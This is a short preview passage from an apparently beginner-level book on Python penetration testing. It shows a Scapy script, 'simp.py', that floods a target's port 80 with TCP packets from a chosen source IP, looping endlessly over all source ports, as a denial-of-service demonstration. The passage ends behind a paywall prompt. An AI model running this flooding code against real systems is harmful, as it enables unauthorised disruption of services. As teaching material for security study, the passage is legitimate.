May 2018
Beginner
230 pages
4h 49m
English
Now, in this attack, we use a single IP address but multiple ports.
Here, I have written the code of the simp.py program:
from scapy.all import *
src = raw_input("Enter the Source IP ")
target = raw_input("Enter the Target IP ")
i=1
while True:
for srcport in range(1,65535):
IP1 = IP(src=src, dst=target)
TCP1 = TCP(sport=srcport, dport=80)
pkt = IP1 / TCP1
send(pkt,inter= .0001)
print "packet sent ", i
i=i+1
I used the for loop for the ports. Let's check the output of the attacker:

The preceding screenshot shows that the packet was sent successfully. Now, check the output on the ...
Read now
Unlock full access